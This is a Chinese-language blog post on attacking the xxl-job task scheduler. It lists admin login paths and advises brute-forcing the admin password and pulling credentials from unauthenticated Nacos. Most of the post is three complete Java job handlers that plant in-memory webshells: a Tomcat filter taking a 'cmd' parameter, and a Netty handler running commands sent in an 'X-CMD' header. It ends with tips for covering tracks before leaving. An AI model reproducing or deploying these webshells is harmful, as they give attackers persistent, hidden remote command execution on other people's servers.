xxl-job利用研究
xxl-job利用研究
xxl-job
xxl-job 是一个分布式任务调度平台,将任务调度这一行为抽象为调度中心平台,也就是分成了调度平台和执行器。近些时间感觉xxl-job的利用和实战莫名其妙多起来了,所以来学习一下xxl-job的利用
调度中心路径
暴露在外网的一般是调度中心,执行器一般都开在内网或者单机仅限127.0.0.1访问的情况。而xxl-job必须路径正确才能访问到后台,这个路径可以在application.properties文件里面修改
我常见的路径有:
1
2
3
4
/toLogin
/xxl-job-admin/toLogin
/xxljob/toLogin
/jobManage/toLogin
平时看见奇奇怪怪的路径就放到自己的指纹库里,说不定哪天就遇到了
路径正确后还需要正确密码才能访问后台,账号一般是admin,爆破无限制
可以尝试找nacos,然后去找是否存在xxl-job,nacos里面很大概率会存账号密码,这两个系统经常联用,而nacos的未授权很少有人会修
xxl-job的漏洞存在于后台的定时任务,这个功能可以使你在执行器上执行任意命令。当然在前台也存在老版本的未授权反序列化,在执行器上存在未授权和默认token漏洞,但实战较少
调度平台内存马
适用于调度平台和执行器在一台机器上的情况,原理是写一个agent内存马的jar到本地,再打agent内存马到调度平台的进程上,注意不是执行器的进程
注入代码:agent内存马
执行器内存马
tomcat内存马
适用于你能访问到执行器的情况,执行器的web接口使用的是netty,但他还存在一个web服务是基于spring的,默认端口为8081,对应配置文件在BOOT-INF/classes/application.properties,正常来说是开启的。
作者原文地址:xxl-job-executor注入filter内存马
原理还是tomcat那一套,比较麻烦的是如何拿到StandardContext。原作者测试环境为2.3.0,我在2.2.0上测试时发现有些格式和函数不同,如默认logger函数不同,execute函数固定返回类型必须为ReturnT<String>
作者原版代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.util.ArrayList;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {
public Object getField(Object obj, String fieldName){
try {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
obj = field.get(obj);
} catch (IllegalAccessException e) {
XxlJobHelper.log(e.toString());
return null;
} catch (NoSuchFieldException e) {
XxlJobHelper.log(e.toString());
return null;
}
return obj;
}
public Object getSuperClassField(Object obj, String fieldName){
try {
Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
field.setAccessible(true);
obj = field.get(obj);
} catch (IllegalAccessException e) {
XxlJobHelper.log(e.toString());
return null;
} catch (NoSuchFieldException e) {
XxlJobHelper.log(e.toString());
return null;
}
return obj;
}
public void execute() throws Exception {
Object obj = null;
String port = "";
String filterName = "xxl-job-filter";
// 1.创建filter
Filter filter = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse resp = (HttpServletResponse) servletResponse;
if (req.getParameter("cmd") != null) {
// 由于xxl-job中的groovy不支持new String[]{"cmd.exe", "/c", req.getParameter("cmd")};这种语法,使用ArrayList的方式绕过
ArrayList<String> cmdList = new ArrayList<>();
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
cmdList.add("cmd.exe");
cmdList.add("/c");
} else {
cmdList.add("/bin/bash");
cmdList.add("-c");
}
cmdList.add(req.getParameter("cmd"));
String[] cmds = cmdList.toArray(new String[0]);
Process process = new ProcessBuilder(cmds).start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
String line;
while ((line = reader.readLine()) != null) {
servletResponse.getWriter().println(line);
}
process.destroy();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
}
};
//2. 创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
//3. 创建一个filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//4. 创建ApplicationFilterConfig构造函数
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
//5. 找StandardContext
/*获取group*/
Thread currentThread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(currentThread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
for (Thread thread : threads) {
String threadName = thread.getName();
/*获取tomcat container*/
if (threadName.contains("container")) {
/*获取this$0*/
obj = getField(thread, "this\$0");
if (port == "") {
continue;
} else {
break;
}
} else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) {
/*获取web端口,可在log中查看,默认8081端口*/
port = threadName.substring(9, threadName.length() - 13);
if (obj == null){
continue;
} else {
break;
}
}
}
obj = getField(obj, "tomcat");
obj = getField(obj, "server");
org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services");
for (org.apache.catalina.Service service : services){
try {
obj = getField(service, "engine");
if (obj != null) {
HashMap children = (HashMap)getSuperClassField(obj, "children");
// xxl-job-executor tomcat9 默认是localhost,并未考虑特殊情况
obj = children.get("localhost");
children = (HashMap)getSuperClassField(obj, "children");
// 获取StandardContext
StandardContext standardContext = (StandardContext) children.get("");
standardContext.addFilterDef(filterDef);
// 将FilterDefs 添加到FilterConfig
Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");
// 添加ApplicationFilterConfig
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(filterName,filterConfig);
//将自定义的filter放到最前边执行
standardContext.addFilterMapBefore(filterMap);
XxlJobHelper.log("success! memshell port:"+port);
}
} catch (Exception e){
XxlJobHelper.log(e.toString());
continue;
}
}
}
}
简易修改版
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
package com.xxl.job.service.handler;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.util.ArrayList;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.handler.IJobHandler;
import com.xxl.job.core.biz.model.ReturnT;
public class DemoGlueJobHandler extends IJobHandler {
public Object getField(Object obj, String fieldName){
try {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
obj = field.get(obj);
} catch (IllegalAccessException e) {
XxlJobLogger.log(e.toString());
return null;
} catch (NoSuchFieldException e) {
XxlJobLogger.log(e.toString());
return null;
}
return obj;
}
public Object getSuperClassField(Object obj, String fieldName){
try {
Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
field.setAccessible(true);
obj = field.get(obj);
} catch (IllegalAccessException e) {
XxlJobLogger.log(e.toString());
return null;
} catch (NoSuchFieldException e) {
XxlJobLogger.log(e.toString());
return null;
}
return obj;
}
@Override
public ReturnT<String> execute(String param) throws Exception {
Object obj = null;
String port = "";
String filterName = "xxl-job-filter";
// 1.创建filter
Filter filter = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse resp = (HttpServletResponse) servletResponse;
if (req.getParameter("cmd") != null) {
// 由于xxl-job中的groovy不支持new String[]{"cmd.exe", "/c", req.getParameter("cmd")};这种语法,使用ArrayList的方式绕过
ArrayList<String> cmdList = new ArrayList<>();
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
cmdList.add("cmd.exe");
cmdList.add("/c");
} else {
cmdList.add("/bin/bash");
cmdList.add("-c");
}
cmdList.add(req.getParameter("cmd"));
String[] cmds = cmdList.toArray(new String[0]);
Process process = new ProcessBuilder(cmds).start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
String line;
while ((line = reader.readLine()) != null) {
servletResponse.getWriter().println(line);
}
process.destroy();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
}
};
//2. 创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
//3. 创建一个filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//4. 创建ApplicationFilterConfig构造函数
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
//5. 找StandardContext
/*获取group*/
Thread currentThread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(currentThread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
for (Thread thread : threads) {
String threadName = thread.getName();
/*获取tomcat container*/
if (threadName.contains("container")) {
/*获取this$0*/
obj = getField(thread, "this\$0");
if (port == "") {
continue;
} else {
break;
}
} else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) {
/*获取web端口,可在log中查看,默认8081端口*/
port = threadName.substring(9, threadName.length() - 13);
if (obj == null){
continue;
} else {
break;
}
}
}
obj = getField(obj, "tomcat");
obj = getField(obj, "server");
org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services");
for (org.apache.catalina.Service service : services){
try {
obj = getField(service, "engine");
if (obj != null) {
HashMap children = (HashMap)getSuperClassField(obj, "children");
// xxl-job-executor tomcat9 默认是localhost,并未考虑特殊情况
obj = children.get("localhost");
children = (HashMap)getSuperClassField(obj, "children");
// 获取StandardContext
StandardContext standardContext = (StandardContext) children.get("");
standardContext.addFilterDef(filterDef);
// 将FilterDefs 添加到FilterConfig
Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");
// 添加ApplicationFilterConfig
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(filterName,filterConfig);
//将自定义的filter放到最前边执行
standardContext.addFilterMapBefore(filterMap);
XxlJobLogger.log("success! memshell port:"+port);
}
} catch (Exception e){
XxlJobLogger.log(e.toString());
continue;
}
}
return ReturnT.SUCCESS;
}
}
然后访问执行器8081端口即可
netty内存马
执行器的默认端口是一个netty服务,当然也可以打内存马进去,方式就是遍历线程,找到NioEventLoop,替换一个handler进去
注入简单cmd内存马
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
package com.xxl.job.service.handler;
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.channel.socket.SocketChannel;
import io.netty.handler.codec.http.*;
import io.netty.handler.timeout.IdleStateHandler;
import io.netty.util.CharsetUtil;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.concurrent.TimeUnit;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {
@ChannelHandler.Sharable
public class NettyThreadHandler extends ChannelDuplexHandler{
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
HttpRequest httpRequest = (HttpRequest)msg;
if(httpRequest.headers().contains("X-CMD")) {
String cmd = httpRequest.headers().get("X-CMD");
String execResult = "";
ArrayList<String> cmdList = new ArrayList<>();
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
cmdList.add("cmd.exe");
cmdList.add("/c");
} else {
cmdList.add("/bin/bash");
cmdList.add("-c");
}
cmdList.add(cmd);
String[] cmds = cmdList.toArray(new String[0]);
Process process = new ProcessBuilder(cmds).start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
String line;
while ((line = reader.readLine()) != null) {
execResult =execResult+line;
}
process.destroy();
// 返回执行结果
send(ctx, execResult, HttpResponseStatus.OK);
}else {
ctx.fireChannelRead(msg);
}
}
private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}
public ReturnT<String> execute(String param) throws Exception{
XxlJobLogger.log("XXL-JOB, Hello World.");
try{
ThreadGroup group = Thread.currentThread().getThreadGroup();
Field threads = group.getClass().getDeclaredField("threads");
threads.setAccessible(true);
Thread[] allThreads = (Thread[]) threads.get(group);
for (Thread thread : allThreads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
try {
Object target;
try {
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor");
} catch (Exception e) {
continue;
}
// NioEventLoop
if (target.getClass().getName().endsWith("NioEventLoop")) {
XxlJobLogger.log("NioEventLoop find");
HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
if (!set.isEmpty()) {
Object keys = set.toArray()[0];
// pipeline
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
// 替换 handler
Object aggregator = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
// 设置初始化
setFieldValue(aggregator, "childHandler", new ChannelInitializer<SocketChannel>() {
@Override
public void initChannel(SocketChannel channel) throws Exception {
channel.pipeline()
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle
.addLast(new HttpServerCodec())
.addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL
.addLast(new NettyThreadHandler());
}
});
XxlJobLogger.log("ok?");
break;
}
}
} catch (Exception ignored) {
XxlJobLogger.log(ignored.toString())
}
}
}
}catch (Exception e){
XxlJobLogger.log(e.toString())
}
return ReturnT.SUCCESS;
}
public Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null){
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
}
踩的坑有groovy里的$需要被转义,不然val$eventExecutor会等价于eventExecutor。注册的handler必须加上@ChannelHandler.Sharable标签,否则会执行器会报错崩溃
最终效果如下:
坏消息是这个内存马的实现是替换了handler,所以原本执行逻辑会消失,建议跑路前重启一下执行器